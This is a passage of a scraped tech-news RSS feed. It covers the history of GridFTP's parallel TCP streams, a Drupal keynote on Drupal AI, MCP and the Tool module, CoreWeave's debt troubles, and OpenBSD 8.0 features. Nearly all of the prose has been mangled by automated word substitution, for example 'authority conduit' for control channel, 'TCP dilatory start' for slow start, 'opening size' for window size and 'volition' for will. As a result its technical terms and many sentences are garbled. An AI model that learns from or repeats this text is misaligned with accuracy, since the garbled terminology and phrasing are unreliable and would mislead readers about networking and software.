it. Performance was the most crucial scheme necessity for GridFTP.</p> <p>Coupled alongside this was the importance of reliability in the visage of errors. Networks were inherently lossy, equal the non-congested specialized networks that were the chief mark of GridFTP. This was greatly exacerbated on WANs, and equal additional so on LFNs.</p> <h2 id="the-gridftp-protocol">The GridFTP Protocol</h2> <p>The authors of GridFTP used the fine known <a href="https://en.mycoding.id/category/technology" target="_blank">FTP protocol</a> as a starting point. While it was not a extensively used feature, FTP had the capability to do third-party transfers by using two-channel protocol that separates the authority conduit and the data channel. The authority conduit was used to communication servers and create requests, and the data conduit was anywhere the requested data was streamed. In most historic use cases an FTP client would established a authority conduit alongside a server and petition to either have a document sent to the client, or have a document received by the server, alongside the two the authority and data channels using the identical network path. However they would motionless be distinct channels and thus it was entirely imaginable for a client to form two authority channels, one alongside the origin server and one alongside the destination server, and instruct them to form a data conduit between them as shown below.</p> </div> <p><img src="https://marketing.globuscs.info/production/strapi/uploads/Grid_FTP_Protocol_2e38563dc4.png" width="635" height="355" alt="graphic of FTP protocol authority and data channel"> </p> <div><p>With traditional FTP we could encounter the necessity of third gathering transfers, but modifications were motionless needed in command to safe the two the authority conduit and the data channel. While they are not discussed in item here, qualify it to say that the authority conduit was wrapped in a safety tier which, formerly established, could assign a credential from the client to all server. The delegated credential on all end could afterward be used to authenticate the data channel.</p> <h2 id="a-new-data-channel-protocol">A New Data Channel Protocol</h2> <p>The most significant alter that GridFTP introduced was the innovation of a new data conduit protocol. Traditional FTP mostly relies on the <em>stream manner (Mode S)</em> data conduit protocol. Stream manner is a TCP conduit complete which the data flows. There is no framing or blocking beyond what TCP offers. While TCP was, and is motionless today, the backbone of most network communication, this leaves a lot to be desired if we are designing for elevated performance.</p> <h3 id="tcp">TCP</h3> <p>To value the improvements GridFTP introduces, it&rsquo;s crucial to comprehend a few TCP concepts at a elevated flat before we explain the scheme choices we made.</p> <p>The biggest issue alongside stream manner is that TCP was not designed alongside elevated latency networks in mind. Nor was it designed to be greedy complete uncongested networks. TCP was designed under the assumption that the network was an on-demand asset for many energetic users and thus needed to be cooperatively shared. The networks that GridFTP targeted were elevated latency, uncongested networks. While they were shared resources, they were made specifically for these specialized applications and thus, for improved or for worse, sharing the asset was much small of a precedence than it was for TCP.</p> <p>TCP allows for a assortment of congestion authority algorithms to be used. These algorithms are what allows TCP to fairly portion network bandwidth among many user&rsquo;s streams. At the time, <a href="https://en.mycoding.id/category/technology" target="_blank">TCP Reno</a> was the most extensively deployed TCP congestion authority algorithm. While it attempted to fairly portion the network, it really was extremely unfair to streams that had elevated latency, akin those crossing a WAN or LFN.</p> <p>The two parties sending data via TCP have no idea concerning the network topology that connects them&mdash;and how many users are competing for network bandwidth is equal additional of a mystery. Thus there is no <em>a priori</em> cognition of how accelerated data can flow. If the sender sends too fast, the network volition not be capable to keep up and thus packets volition have to be dropped and afterward retransmitted, making the transfer slower. On the another hand, if the sender goes too slow, network resources volition remain idle.</p> <p>To location this matter TCP sends packets in windows. When a stream archetypal starts TCP volition dispatch one packet of data and delay for an acknowledgement (ACK). Once received it volition dispatch two packets and delay for their corresponding ACK. Once received, it volition dispatch 4, afterward 8, afterward 16, and so on in an exponential manner until a packet is misplaced (also known as a congestion event). When a congestion event occurs TCP makes the assumption that it established the fastest transfer charge the network can handle, and volition remain at that speed. This is known as TCP dilatory start.</p> <p>If a congestion event occurs following TCP dilatory start, the allowed opening size is cut in half, thus reducing the transfer charge by half. The assumption current is that a packet was misplaced since person alternatively tried to use the network but the current stream was hogging it. Thus by halving the row speed a fair portion of the network is released for the another flow. At this item TCP Reno gradually increases the opening size by one packet at a period until it hit another congestion event at which item it volition again halve the opening size. This is known as additive-increase-multiplicative-decrease (AIMD).</p> <h3 id="the-wan-penalty">The WAN Penalty</h3> <p>The procedure described complete is a extremely assured way to backoff and portion the network. While it was exceptionally productive in the growth of the Internet, it was far from ideal for the GridFTP use case, in particular since it was unfair to WANs.</p> </div> <p><img src="https://marketing.globuscs.info/production/strapi/uploads/Throughput_Grid_FTP_0ffa16cfac.png" width="628" height="338" alt="graphic depiction showing throughput of 1 dropped packet"> </p> <div><p>The fig complete shows two flows transferring a 2GB document throughout a 1Gbps network. One is a LAN stream alongside 10ms latency, and the another a WAN stream alongside 100ms latency. The flows were simulated at distinct times and thus did not interfere alongside all other.</p> <p>From 0 to concerning 1 on the x-axis we see the TCP dilatory commencement algorithm. Because the circular trip period in the LAN case is so much lesser than it is in the WAN case, we see that the LAN reaches complete speed faster than the WAN. However, since the growth is exponential, it is not too much of a setback.</p> <p>Looking additional downward the timeline on the x-axis we see a congestion event: the flows were the two at complete speed, misplaced a packet, and were reduced to fractional speed. This is anywhere the WAN penalty is additional pronounced. In this case the packet defeat was not because of a lengthy held stream. It was either because of an anomaly in the network (which happens additional frequently on WANs than LANs) or a extremely abbreviated flow. After the event, fractional of the network is again open for use and the two flows commencement slowly, ramping rear up by expanding their opening sizes by one packet alongside all ACK that they receive. The LAN gets rear up to complete speed in a sensible amount of time, but we can barely see the addition in the WAN case. This is since all ACK on the WAN takes 10 times longer than it does on the LAN. Thus, for the WAN, additive addition moved far too gradually for it to always reclaim the accessible bandwidth.</p> <h2 id="parallel-streams">Parallel Streams</h2> <p>GridFTP targeted WANs specifically, and hence needed to conquer the inherent bias of TCP against WANs. At the identical time, TCP was accessible everyplace and GridFTP aspired to be a broad intent transfer protocol. Requiring a tradition network stack in the functioning scheme kernel in command to use GridFTP would create a important obstacle to deployment. Hence we wanted to use TCP as the basis reliability layer.</p> <p>To mitigate the WAN penalty we used a method known as parallel streams. Instead of using a sole TCP stream, akin stream Mode S did, we created Mode E, extended obstacle mode. Mode E allowed the sender to established many TCP connections alongside the receiver. It would afterward dispatch chunks of data throughout all stream as they had availability. While the data was nearly continually sent complete the identical bodily path, by dividing up the logical way in this way it mitigated the effects of the congestion events discussed above. The consequence is illustrated below.</p> </div> <div> <figure> <img src="https://marketing.globuscs.info/production/strapi/uploads/Four_parallel_streams_e766b1822b.png" width="644" height="365" alt="graphic depiction showing throughput of 4 parallel streams"> <figcaption>Throughput of four parallel streams</figcaption> </figure> </div> <div><p>In this chart we display the throughput of four parallel streams. The green row at the top is the sum of the four streams; the another lines portray the throughput of all stream. At about the 10th second we see that one stream had a congestion event. While this stream experiences a setback, the others do not. Because we are dividing the data up complete streams the general throughput of the transfer suffers a much smaller setback, concerning 1/8th of what it would be alongside a sole stream.</p> <p>This is an crucial advantage of parallel streams, but not the lone one. They additionally authorize GridFTP to leverage multicore machines by encrypting all stream in parallel (<a href="https://en.mycoding.id/category/technology" target="_blank">ref</a>), dynamically modify to discrepancies in stream speed, and create additional productive use of parallel document systems. This was a fine researched topic and the inquisitive audience is encouraged to peruse additional concerning it in document akin <a href="https://en.mycoding.id/category/technology" target="_blank">this one</a>.</p> <p>In the decades that followed the innovation of GridFTP, TCP has evolved fairly a bit. GridFTP has unified congestion authority algorithms akin <a href="https://en.mycoding.id/category/technology" target="_blank">CUBIC</a>, and volition continue to obtain advantage of scientific innovations.</p> <h2 id="conclusion">Conclusion</h2> <p>In this article we discussed the origins of GridFTP and the scheme choices that made it a fast, secure, and prosperous transfer protocol. While the protocol and the achievement benefits are a key pillar in delivering extremely performant data transfers, the Globus transfer assistance has built on this protocol to provision new capabilities specified as safe data sharing, and a unified interface throughout varied retention systems.</p> <p>More importantly, it introduced the fire-and-forget paradigm that allows researchers to merely petition that data be moved and not be concerned alongside the underlying infrastructure. Outsourcing reliability, achievement optimization, and safety to the Globus assistance greatly reduces the obstacle to using specified elevated achievement protocols. And Globus does not halt there, as we continue to interrupt downward the data administration obstacles that hinder specialized investigation and discovery. With latest additions specified as distant computation and automation to assistance federated, distributed workflows, the possibilities are endless.</p> </div> <p> <a href="https://en.mycoding.id/category/technology" target="_blank">Learn additional concerning Globus Transfer</a> </p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/gridftp-a-brief-history-of-fast-file-transfer-2024-73227</guid> <pubDate>Mon, 19 Oct 2026 23:53:38 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mira Azkia)]]></author> </item> <item> <title><![CDATA[Elon Musk’s proposed SpaceX stock giveaway would go into ‘Trump Accounts’]]></title> <description><![CDATA[Elon Musk’s proposed SpaceX stock giveaway would go into ‘Trump Accounts’. President Donald Trump announced this midday that Elon Musk's SpaceX shares for children volition be stated through Trump Accounts. Musk stated before today that h...]]></description> <media:thumbnail url="https://platform.theverge.com/wp-content/uploads/sites/2/2024/10/the_verge_social_share.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/elon-musk-s-proposed-spacex-stock-giveaway-would-go-into-trump-accounts-73226</link> <content:encoded><![CDATA[<div><p>The Verge is a part of PMX Global, LLC, a subsidiary of Penske Media Corporation.</p><p>&copy; 2026 VM Publishing, LLC. All entitlements reserved.</p></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/elon-musk-s-proposed-spacex-stock-giveaway-would-go-into-trump-accounts-73226</guid> <pubDate>Mon, 19 Oct 2026 23:30:42 +0700</pubDate> <author><![CDATA[support@mycoding.id (Jay Peters)]]></author> </item> <item> <title><![CDATA[Drupal is now light-years ahead of its reputation]]></title> <description><![CDATA[Drupal is now light-years ahead of its reputation. Comments]]></description> <media:thumbnail url="https://dri.es/files/cache/drupalcon-rotterdam-2026/driesnote-1280w.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/drupal-is-now-light-years-ahead-of-its-reputation-73228</link> <content:encoded><![CDATA[<p>DrupalCon Rotterdam 2026 DriesNote presentation. </p><div> <p>Drupal is now light-years onward of its reputation. Closing that gap is our #1 challenge, and it was the chief communication of my DrupalCon Rotterdam keynote.</p> <p>Just complete two years ago, I launched <a href="https://en.mycoding.id/category/technology" target="_blank">Drupal Starshot</a>. I did it since I wasn't certain we could motionless innovate akin we used to. It turns out we can.</p> <p>Starshot became <a href="https://en.mycoding.id/category/technology" target="_blank">Drupal CMS</a>, which brings together Site Templates, Recipes, Drupal AI, Drupal Canvas and additional to create construction websites easier.</p> <p>Alongside that work, Drupal Core has rotate into a faster and improved example for developers. A stronger Drupal Core helps us build a improved Drupal CMS, during construction Drupal CMS has driven additional improvements in Drupal Core.</p> <p>Unfortunately, many group exterior the Drupal community haven't seen what Drupal can do today. In Rotterdam, I showed how far we have arrive and anywhere we're going next, and we launched an assistance program to assistance additional group see how awesome Drupal has become.</p> <p>If you missed the keynote, you can <a href="https://en.mycoding.id/category/technology" target="_blank">watch the video below</a> or <a href="https://en.mycoding.id/category/technology" target="_blank">download my slides</a> (86 MB).</p> <figure><p></p></figure> <h2 id="more-ways-to-reach-more-people"><a href="https://en.mycoding.id/category/technology" target="_blank">&sect;</a>More ways to attain additional people</h2> <p>The archetypal part of my keynote showed improvements for multilingual sites, JavaScript front-ends, headless Canvas, and Drupal AI.</p> <p>Drupal has lengthy had powerful multilingual capabilities, but <a href="https://en.mycoding.id/category/technology" target="_blank">Drupal Canvas</a>, our mighty new leaf builder, didn't yet assistance multilingual sites. Not lone did we add multilingual assistance to Canvas, but we made all multilingual sites easier to set up.</p> <figure><p></p></figure> <p>React has among the world's largest developer communities. Drupal Canvas code components are written in React, and we designed the developer cognition about the tools, patterns, and workflows front-end JavaScript developers already know. They can use their preferred betterment tools, including contemporary AI-assisted workflows, without having to study Drupal-specific concepts or conventions. We've continued to create that cognition better, lowering the obstacle for a much larger community of developers to build alongside Drupal.</p> <figure><p></p></figure> <p>At DrupalCon, we extended that identical example alongside <a href="https://en.mycoding.id/category/technology" target="_blank">Drupal Canvas Headless</a>. Developers can now use Drupal to oversee satisfied during construction the front-end separately alongside frameworks akin Next.js, Astro, TanStack, Angular, or Nuxt. Editors motionless get the ocular cognition of Drupal Canvas: they can build pages in Drupal and preview exactly how those pages volition appear on the front-end.</p> <p>This changes an crucial trade-off. Teams no longer have to choose between a contemporary JavaScript front-end and Drupal Canvas' ocular authoring experience. They can have both. That opens Drupal to additional developers, additional front-end architectures, and additional types of projects.</p> <figure><p></p></figure> <p>Drupal AI is moving so accelerated that I could have filled a entire keynote alongside it. Instead, we launched a <a href="https://en.mycoding.id/category/technology" target="_blank">new Drupal AI demo</a> anywhere group can cognition Drupal AI for themselves. It comes preconfigured, making it uncomplicated to examine what Drupal AI can do or equal display it to customers.</p> <p>With the latest Drupal AI, you can ask questions and get answers restricted in your site's content. You can audit your satisfied against brand guidelines, translate content, categorize content, build pages and React components alongside AI, and more. Through MCP, AI assistants can activity alongside Drupal satisfied from exterior Drupal.</p> <p>What excites me most is the basis underneath all of this. Drupal AI turns Drupal into an AI harness: organizations can nexus AI models to organized content, tools, and workflows, during keeping authority through permissions, guardrails, observability, metering, and a choice of AI models.</p> <figure><p></p></figure> <h2 id="opening-drupal-s-capabilities-to-other-software"><a href="https://en.mycoding.id/category/technology" target="_blank">&sect;</a>Opening Drupal's capabilities to another software</h2> <p>The second part of my keynote looked at another crucial shift: AI assistants can provision group a new way to activity alongside Drupal.</p> <p>In one demo, an publishing company merely asked an AI aide to unpublish a page. They didn't need to cognize anywhere to click or comprehend Drupal's revisions, moderation workflows, or permissions. The aide translated their intent into action, but Drupal remained in control: it checked whether the publishing company was allowed to unpublish the leaf and applied the site's publishing rules, fair as it would if they had done it by hand.</p> <p>If you desire to see the demo in additional detail, Scott Falconer, who worked on it, recorded a <a href="https://en.mycoding.id/category/technology" target="_blank">behind-the-scenes walkthrough</a> showing how to set it up yourself, what happens under the hood, and how to get involved.</p> <p>That demo was built on the <a href="https://en.mycoding.id/category/technology" target="_blank">Tool module</a>, which I accept is among the most crucial modules for Drupal developers to watch. Drupal modules already merge thousands of helpful capabilities: publishing content, managing users, handling media, changing configuration, and much more. The Tool component gives developers a norm way to disclose those capabilities so AI assistants and another application can detect and use them.</p> <p>Today, exposing existing capabilities as tools can motionless necessitate too much code. My own gathering component didn't disclose tools, and making its existing capabilities accessible to an AI aide took concerning 1,000 additional lines of code.</p> <p>But formerly those tools were available, the value became obvious. Adding MCP assistance has already changed how I oversee the additional than 10,000 photos on my site. Tasks that used to obtain a lot of period can now be done much faster and additional accurately alongside an AI assistant, during Drupal motionless manages the content, permissions, and workflows underneath.</p> <p>That cognition reinforced item I wrote concerning in <a href="https://en.mycoding.id/category/technology" target="_blank">AI and the awesome CMS unbundling</a>: AI can obtain on additional of the implementation activity during Drupal remains the authority layer. I anticipate additional organizations volition desire to oversee parts of their sites through AI assistants. AI can create complex tasks much faster and easier without giving up the structure, governance, and safeguards that Drupal provides.</p> <p>I accept thousands of component developers volition eventually desire to disclose their capabilities in the identical way, so I've been operating alongside Matt Glaman to create it much easier. Matt has been evolving <a href="https://en.mycoding.id/category/technology" target="_blank">a alter to the Tool API</a> that lets developers disclose existing PHP methods as tools using attributes.</p> <p>The idea is simple: add PHP attributes to an existing method to depict its name, purpose, inputs and outputs. In my gathering module, approximately 1,000 lines of integration code became concerning 20 attributes. My location already uses the experimental branch, and we're operating to get it merged into the <a href="https://en.mycoding.id/category/technology" target="_blank">Tool module</a> proper.</p> <p>And this isn't lone concerning AI. The identical tools can be called by AI assistants complete MCP, by another applications complete HTTP, or used to create schemas for JavaScript components and nexus Drupal modules to workflow systems akin <a href="https://en.mycoding.id/category/technology" target="_blank">ECA</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">FlowDrop</a>, and <a href="https://en.mycoding.id/category/technology" target="_blank">Maestro</a>. The video below shows FlowDrop using capabilities exposed by my gathering module:</p> <figure><p></p></figure> <h2 id="talk-louder-about-drupal"><a href="https://en.mycoding.id/category/technology" target="_blank">&sect;</a>Talk louder concerning Drupal</h2> <p>In the final part of my keynote, I came rear to Drupal's position gap. We can create enormous advancement alongside Drupal, but that doesn't automatically alter what group or AI agents think of it. For example, an <a href="https://en.mycoding.id/category/technology" target="_blank">AI coding delegate I tested in June</a> didn't equal citation Drupal CMS or Site Templates whenever it evaluated Drupal.</p> <p>Over the former few years, much of my individual concentration has been on accelerating innovation in Drupal. That activity is paying off, and we have genuine merchandise momentum. I'm now shifting additional of my notice to the another flank of the equation: making certain group see what we've built, comprehend what has changed, and cognize why it matters.</p> <figure><img src="https://dri.es/files/cache/drupalcon-rotterdam-2026/reputation-1920w.png" alt='Slide study &quot;Drupal is now light-years onward of its reputation&quot; complete translucent red and yellow shapes, alongside a pink pane missile on the left.' width="1280" height="720" loading="lazy" srcset="https://dri.es/files/cache/drupalcon-rotterdam-2026/reputation-640w.png 640w, https://dri.es/files/cache/drupalcon-rotterdam-2026/reputation-1280w.png 1280w, https://dri.es/files/cache/drupalcon-rotterdam-2026/reputation-1920w.png 1920w" sizes="auto"> </figure> <p>So I announced the <a href="https://en.mycoding.id/category/technology" target="_blank">Drupal Advocacy Program</a>, led by the Drupal Association.</p> <p>Drupal already has a contribution credit system. It recognizes the group who contribute to Drupal and the organizations that assistance their work. For businesses, those credits additionally assistance decide visibility in the Drupal marketplace. Until now, we've been much improved at recognizing specialized contributions and financial assistance than assistance work.</p> <p>The new Drupal Advocacy Program volition alter that. Advocacy activity can now acquire contribution credit, and activity that reaches group exterior the existing Drupal community can acquire additional weight.</p> <p>If we desire to near Drupal's position gap, we can't lone conversation to group who already cognize Drupal well. We need additional talks at external events, articles in broader publications, client stories, demos, tutorials, and another activity that helps group see what Drupal can do today.</p> <p>Blue Drop Labs is a fine example of what I mean. The day following the DriesNote, they published a article on <a href="https://en.mycoding.id/category/technology" target="_blank">building a website alongside Drupal CMS and Canvas Headless</a>. The project itself was already live, but they quickly turned that activity into a narrative others could study from, alongside demos showing how editors and developers activity alongside Drupal today.</p> <p>That is exactly what I average by "talking louder". There is already a lot of notable Drupal activity happening. We need to do a improved job of showing it to the world.</p> <p>I was a small nervous concerning announcing the Advocacy Program. We've wrestled alongside Drupal's position gap for a lengthy time, and I felt we needed to do additional than acknowledge it. Using contribution credit to reward assistance was a tangible way to alter the incentives, but I wasn't certain how the community would react.</p> <p>It turned out to be among the best-received announcements of the keynote. That reply gave me confidence that group were prepared to act on the position gap, not fair acknowledge it.</p> <p>You can <a href="https://en.mycoding.id/category/technology" target="_blank">learn how to acquire Drupal assistance credit</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">submit your assistance work</a>.</p> <figure><img src="https://dri.es/files/cache/drupalcon-rotterdam-2026/talk-louder-1920w.png" alt='Slide study &quot;Talk louder&quot; complete translucent circuit boards and digital parts glowing red, orange and yellow.' width="1280" height="720" loading="lazy" srcset="https://dri.es/files/cache/drupalcon-rotterdam-2026/talk-louder-640w.png 640w, https://dri.es/files/cache/drupalcon-rotterdam-2026/talk-louder-1280w.png 1280w, https://dri.es/files/cache/drupalcon-rotterdam-2026/talk-louder-1920w.png 1920w" sizes="auto"> </figure> <p>My ask is simple: conversation louder concerning Drupal, particularly to group exterior our community. Drupal doesn't need hype, but we do need a improved community record. We need additional group showing, alongside genuine examples, what Drupal can do today.</p> <p><em>I desire to broaden my gratitude to everyone who contributed to making my display and demos a success. A particular appreciate you to <a href="https://en.mycoding.id/category/technology" target="_blank">B&aacute;lint Kl&eacute;ri</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Christoph Breidert</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">G&aacute;bor Hojtsy</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Lauri Timmanee</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Matt Glaman</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Michael Lander</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Pamela Barone</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Shibin Das</a>, and the <a href="https://en.mycoding.id/category/technology" target="_blank">Drupal AI partners</a>. Many others contributed indirectly to create this possible. If I've inadvertently omitted anyone, delight attain out.</em></p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/drupal-is-now-light-years-ahead-of-its-reputation-73228</guid> <pubDate>Mon, 19 Oct 2026 22:38:02 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mira Azkia)]]></author> </item> <item> <title><![CDATA[CoreWeave’s debt is becoming the whole AI industry’s problem]]></title> <description><![CDATA[CoreWeave’s debt is becoming the whole AI industry’s problem. CoreWeave had a bad week final week. Its bonds slipped into distressed district by a average definition - whenever investors petition 1,000 basis points additional in output ...]]></description> <media:thumbnail url="https://platform.theverge.com/wp-content/uploads/sites/2/2025/10/Vrg_Illo_AI_Bubble.jpg?quality=90&amp;strip=all&amp;crop=0%2C10.732984293194%2C100%2C78.534031413613&amp;w=1200"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/coreweave-s-debt-is-becoming-the-whole-ai-industry-s-problem-73221</link> <content:encoded><![CDATA[<div id="zephr-anchor"><p>CoreWeave had a bad week final week. Its bonds slipped into <a href="https://en.mycoding.id/category/technology" target="_blank">distressed territory</a> by a average definition &mdash; whenever investors petition 1,000 basis points additional in output than they&rsquo;d get from authorities bonds. Last Tuesady Chamath <a href="https://en.mycoding.id/category/technology" target="_blank">&ldquo;SPAC King&rdquo;</a> Palihapitiya <a href="https://en.mycoding.id/category/technology" target="_blank">noticed the distressed debt</a>, and additionally <a href="https://en.mycoding.id/category/technology" target="_blank">asked whether the AI buildout was a personal credit bubble</a>. Its shares are downward additional than 20 percent since Tuesday&rsquo;s close, which is benevolent of a lot! There equal seemed to be several collateral damage in the market on another AI companies, too.</p><div><p>Now, I have <em>also</em> asked if the AI industry is a bubble, but whenever the SPAC King echoes concerns held by a female whose ongoing inquiry concerning AI is &ldquo;<a href="https://en.mycoding.id/category/technology" target="_blank">How are we preparedness on affording this, champs?</a>&rdquo;, that&rsquo;s a extremely distinct signal. When <a href="https://en.mycoding.id/category/technology" target="_blank">I say &ldquo;yikes,&rdquo;</a> it&rsquo;s one thing. When <a href="https://en.mycoding.id/category/technology" target="_blank">Elon Musk says it</a>, that&rsquo;s item else.</p></div><div><div><p>When you conversation concerning wanting to access the enormous sums of prosperity that insurers have, that&rsquo;s the benevolent of item that makes investors fearful that CoreWeave is going to get equal more</p></div></div><p>To create things worse for CoreWeave, Brannin McBee, among the company&rsquo;s cofounders, <a href="https://en.mycoding.id/category/technology" target="_blank">told the <em>Financial Times</em></a> &mdash; <em>also</em> final week, on the identical day as Palihapitiya&rsquo;s article &mdash; that the business wants to have its debt be investment-grade, fairly than junk, so that it can get from insurers, as their chief is, in his words, &ldquo;unlimited.&rdquo; This is not entirely unreasonable &mdash; before this year, CoreWeave secured its archetypal investment-grade part loan. But whenever you conversation concerning wanting to access the enormous sums of prosperity that insurers have, that&rsquo;s the benevolent of item that makes investors fearful that CoreWeave &mdash; already a enormous debtor &mdash; is going to get equal more.</p><p>&ldquo;The issue is not that credit profiles have changed in the final year, it&rsquo;s that we&rsquo;ve got another twelvemonth and a fractional of provision coming,&rdquo; <a href="https://en.mycoding.id/category/technology" target="_blank"><em>Bloomberg</em> quoted John Yovanovic</a>, co-head of leveraged backing at MetLife Investment Management, as saying.</p><p>I have seen group propose that this method the AI bubble is bursting. I am not so sure. A plunging inventory cost is not necessarily financial doom. Stocks are an expression of confidence in a company&rsquo;s future, not a consideration of day-to-day business. But CoreWeave has a lot of extremely costly debt, and if that debt gets additional expensive, that makes it equal harder for CoreWeave to rotate a profit.</p><p>CoreWeave is the poster kid for AI debt, and as of <a href="https://en.mycoding.id/category/technology" target="_blank">its second fourth earnings</a>, due additional than $35 billion. That&rsquo;s partially since it <a href="https://en.mycoding.id/category/technology" target="_blank">pioneered GPUs as collateral for loans</a>, and partially since CoreWeave doesn&rsquo;t have a genuine endeavor beyond marketing compute, a endeavor on which it does not create prosperity &mdash; the business misplaced additional than a milliard dollars in the archetypal fractional of the year.</p><div><div><p>The anxieties investors have about CoreWeave are, in fact, current for all neoclouds</p></div></div><p>So why am I not prepared to do a triumph lap on this? After all, I have suggested that this endeavor is long-term unsustainable. The answer is &ldquo;remaining achievement obligations&rdquo; from its customers &mdash; $103.7 milliard of them as of the second quarter. About 40 percent of that prosperity is because of CoreWeave in 2028, and the companies who&rsquo;ve accepted to these contracts can&rsquo;t cancel them apart from under several extremely constricted circumstances. Its biggest customers are Microsoft, OpenAI, and what is likely Nvidia, although CoreWeave doesn&rsquo;t disclose who its third-biggest client is. Those three generated nearly three-quarters of the company&rsquo;s second fourth revenue.</p><p>Microsoft and Nvidia are likely fine for the prosperity &mdash; at least, as lengthy as it benefits them to be fine for the money. (I doubtful they acknowledge that if CoreWeave goes belly-up, there volition be plentifulness of collateral damage in the market, so they are improbable to shove the business complete the border themselves.) OpenAI is shakier, but unless OpenAI is in considerably additional financial distress than we all realize, <a href="https://en.mycoding.id/category/technology" target="_blank">CoreWeave is likely fine for a while</a>. As lengthy as it can continue to pay off its debt, the music keeps going. Only whenever the AI surge falters are we going to discover out if it&rsquo;s really a viable business.</p><p>Still, the angst about CoreWeave has made things shaky for another companies that have taken out important debt in the AI buildout &mdash; Oracle&rsquo;s shares, for instance, which have fallen nearly 10 percent in the identical timeframe. There&rsquo;s been <a href="https://en.mycoding.id/category/technology" target="_blank">a sell-off in Oracle bonds</a>, too. The anxieties investors have about CoreWeave are, in fact, current for all neoclouds. It&rsquo;s fair not apparent the bare-metal endeavor is a fine one.</p><div><p><span><strong>Follow topics and authors</strong> from this narrative to see additional akin this in your personalized homepage nourish and to obtain email updates.</span></p><ul><li id="follow-author-article_footer-dmcyOmF1dGhvclByb2ZpbGU6ODA0"><span aria-expanded="false" aria-haspopup="true" role="button" tabindex="0"><span><span><svg width="9" height="9" viewbox="0 0 9 9" fill="none" xmlns="http://www.w3.org/2000/svg" aria-label="Follow"><path d="M5 0H4V4H0V5H4V9H5V5H9V4H5V0Z"></path></svg></span><span>Elizabeth Lopatto</span></span></span></li><li><li><li><li><li><li><li><li></ul></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/coreweave-s-debt-is-becoming-the-whole-ai-industry-s-problem-73221</guid> <pubDate>Mon, 19 Oct 2026 22:28:20 +0700</pubDate> <author><![CDATA[support@mycoding.id (Elizabeth Lopatto)]]></author> </item> <item> <title><![CDATA[OpenBSD 8.0 release will have inteldrm/radeondrm/amdgpu drivers from Linux 6.18]]></title> <description><![CDATA[OpenBSD 8.0 release will have inteldrm/radeondrm/amdgpu drivers from Linux 6.18. Comments]]></description> <media:thumbnail url="https://media.bsd.network/accounts/avatars/000/001/413/original/d113a02fb84e4f5a.jpg"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/openbsd-8-0-release-will-have-inteldrm-radeondrm-amdgpu-drivers-from-linux-6-18-73223</link> <content:encoded><![CDATA[<div><div> <p>I think it's concerning period for several <a href="https://en.mycoding.id/category/technology" target="_blank" rel="tag">#<span>OpenBSD</span></a> <a href="https://en.mycoding.id/category/technology" target="_blank" rel="tag">#<span>80HYPE</span></a> <img rel="emoji" draggable="false" width="16" height="16" alt=":flan_hacker:" title=":flan_hacker:" data-original="https://media.bsd.network/custom_emojis/images/000/011/234/original/flan_hacker.png" data-static="https://media.bsd.network/custom_emojis/images/000/011/234/static/flan_hacker.png" src="https://media.bsd.network/custom_emojis/images/000/011/234/static/flan_hacker.png">&#8203; <img rel="emoji" draggable="false" width="16" height="16" alt=":flan_cool:" title=":flan_cool:" data-original="https://media.bsd.network/custom_emojis/images/000/011/235/original/flan_cool.png" data-static="https://media.bsd.network/custom_emojis/images/000/011/235/static/flan_cool.png" src="https://media.bsd.network/custom_emojis/images/000/011/235/static/flan_cool.png"></p><blockquote><p>Clang/LLVM 22 is now OpenBSD's basis compiler on collision architectures, including updated libc++{,abi}, compiler-rt &amp; libunwind assistance libraries.</p></blockquote><p><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank"><span>https://</span><span>bsd.network/@brynet/1166580624</span><span>79940402</span></a></p><blockquote><p>OpenBSD/sparc64 switches to Clang by default! This was the final important architecture to switch. This makes OpenBSD the lone functioning scheme to assistance sparc64 alongside a contemporary toolchain.</p></blockquote><p><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank"><span>https://</span><span>bsd.network/@brynet/1171301305</span><span>36792528</span></a></p><blockquote> <p>Since 7.9, Jonathan Gray (jsg@) has continued to update the drm graphics stack (inteldrm/radeondrm/amdgpu) bringing OpenBSD 8.0 to Linux 6.18.y/6.18.53, adding controller assistance for Intel Arc A-Series (DG2/Alchemist) cards. </p> <p>Increased KVA (kernel virtual addresses) on amd64 (to 512G) now allows mapping additional than 4G of VRAM (for example, GPU compute w/ Vulkan)</p> </blockquote><p><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="nofollow noopener noreferrer"><span>https://</span><span>freshbsd.org/openbsd/src?q=drm</span><span>&amp;committer[]=jsg</span></a></p><p><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank"><span>https://</span><span>bsd.network/@brynet/1167944616</span><span>42940154</span></a></p><blockquote><p>After a ton of activity in Edmonton by Mike Larkin (mlarkin@) and Dave Voutila (dv@), OpenBSD vmm/vmd(8) now supports SMP guests up to 64 VCPUs per VM! <img rel="emoji" draggable="false" width="16" height="16" alt=":flan_cool:" title=":flan_cool:" data-original="https://media.bsd.network/custom_emojis/images/000/011/235/original/flan_cool.png" data-static="https://media.bsd.network/custom_emojis/images/000/011/235/static/flan_cool.png" src="https://media.bsd.network/custom_emojis/images/000/011/235/static/flan_cool.png">&#8203; &#127881;&#8203;</p></blockquote><p><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank"><span>https://</span><span>bsd.network/@brynet/1172950441</span><span>09301163</span></a></p><p><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank"><span>https://</span><span>bsd.network/@brynet/1172997536</span><span>68348206</span></a></p><blockquote><p>OpenBSD 8.0 adds qwz(4), new WiFi controller for Qualcomm WCN7850 